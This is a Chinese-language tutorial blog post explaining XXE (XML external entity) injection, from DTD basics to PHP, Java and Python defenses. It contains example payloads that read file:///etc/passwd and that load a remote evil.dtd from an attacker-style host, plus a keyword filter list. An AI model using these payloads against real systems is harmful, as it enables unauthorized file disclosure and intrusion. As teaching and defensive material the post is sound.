当前位置: 首页 > news >正文

XXE攻击

1.背景

现在很多应用都存在XXE(XML External Entity attack)漏洞,就是xml外部实体攻击,比如facebook,很多XML的解析器默认是含有XXE漏洞的。

2.xml的定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。两个采用不同技术的系统可以通过XML进行通信和交换数据。

例如:

<?xml version='1.0'?>
<student>
<name>lihua</name>
<stuNumber>123456789</stuNumber>
<address>广东</address>
</student>

 

  • 内部声明DTD

    <!DOCTYPE 根元素 [元素声明]>

  • 引用外部DTD

  1. <!DOCTYPE 根元素 SYSTEM "文件名">

  2. <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

  • 内部声明实体

    <!ENTITY 实体名称 "实体的值">

  • 引用外部实体

    1.<!ENTITY 实体名称 SYSTEM "URI">

    2.<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

3.XML外部实体注入(XML External Entity)

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

引入外部实体的方式

方式一:

<?xml version='1.0'?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
​

 

方式二:

<?xml version='1.0'?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://mark.com/evil.dtd">
    %d;
]>
DTD文件内容
    <!ENTITY b SYSTEM "file:///etc/passwd">

 

方式三:

<?xml version='1.0' encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY a SYSTEM "http://mark.com/evil.dtd">
]>
dtd文档内容
    <!ENTITY b SYSTEM "file:///etc/passwd">

4.什么是xml实体攻击

有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。

5.怎么甄别一个XML实体攻击漏洞?

通过抓包,修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。

6.如何确认XXE漏洞?

通过访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’

请求包:

响应:

观察以上请求和响应,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。

自定义xml外部实体测试,请求和响应,定义了一个名为myentity、值为’testing’的实体。响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了,可确认存在XXE漏洞

7.防御XXE攻击

方法一:使用开发语言提供的禁用外部实体的方法

PHP:

 
 
libxml_disable_entity_loader(true);

 

JAVA:

 
 
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

 
 
from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

方法二:过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

转载于:https://www.cnblogs.com/linwx/p/8137615.html

相关文章:

  • 2017面向对象程序设计(JAVA)课程总结
  • 带环链表 linked list cycle
  • php重写路由
  • 团队冲刺第二周02
  • BZOJ2720: [Violet 5]列队春游
  • python实现购物车
  • Elasticsearch 聚合字段后 获取聚合字段的单条详细信息
  • 微信跳一跳 (亲测可用)
  • mac自带邮箱QQ邮箱无法验证用户名和密码
  • JQ 封装一个颜色插件
  • MySQL ON DUPLICATE KEY UPDATE 语法
  • Java学习 第五章 java本地文件操作
  • bzoj3998: [TJOI2015]弦论
  • 【NOIP题解】NOIP2017 TG D2T3 列队
  • 【二十八】xml编程(dom\xpath\simplexml)
  • JS中 map, filter, some, every, forEach, for in, for of 用法总结
  • 时间复杂度分析经典问题——最大子序列和
  • Android组件 - 收藏集 - 掘金
  • iOS 系统授权开发
  • java架构面试锦集:开源框架+并发+数据结构+大企必备面试题
  • JAVA之继承和多态
  • jQuery(一)
  • react-core-image-upload 一款轻量级图片上传裁剪插件
  • Sass Day-01
  • select2 取值 遍历 设置默认值
  • UEditor初始化失败(实例已存在,但视图未渲染出来,单页化)
  • vue+element后台管理系统,从后端获取路由表,并正常渲染
  • 服务器从安装到部署全过程(二)
  • 巧用 TypeScript (一)
  • raise 与 raise ... from 的区别
  • 东超科技获得千万级Pre-A轮融资,投资方为中科创星 ...
  • ​secrets --- 生成管理密码的安全随机数​
  • # 20155222 2016-2017-2 《Java程序设计》第5周学习总结
  • (Matalb分类预测)GA-BP遗传算法优化BP神经网络的多维分类预测
  • (Redis使用系列) SpringBoot中Redis的RedisConfig 二
  • (Spark3.2.0)Spark SQL 初探: 使用大数据分析2000万KF数据
  • (二)springcloud实战之config配置中心
  • (附源码)springboot 智能停车场系统 毕业设计065415
  • (附源码)ssm失物招领系统 毕业设计 182317
  • (汇总)os模块以及shutil模块对文件的操作
  • (转) ns2/nam与nam实现相关的文件
  • (转)程序员疫苗:代码注入
  • ***原理与防范
  • .class文件转换.java_从一个class文件深入理解Java字节码结构
  • .NET 5种线程安全集合
  • .net core 实现redis分片_基于 Redis 的分布式任务调度框架 earth-frost
  • .Net Core/.Net6/.Net8 ,启动配置/Program.cs 配置
  • .NET Core实战项目之CMS 第十二章 开发篇-Dapper封装CURD及仓储代码生成器实现
  • .Net Remoting常用部署结构
  • .NET/ASP.NETMVC 深入剖析 Model元数据、HtmlHelper、自定义模板、模板的装饰者模式(二)...
  • .NET/C# 获取一个正在运行的进程的命令行参数
  • .NET中的Exception处理(C#)
  • .project文件
  • @serverendpoint注解_SpringBoot 使用WebSocket打造在线聊天室(基于注解)
  • [2018][note]用于超快偏振开关和动态光束分裂的all-optical有源THz超表——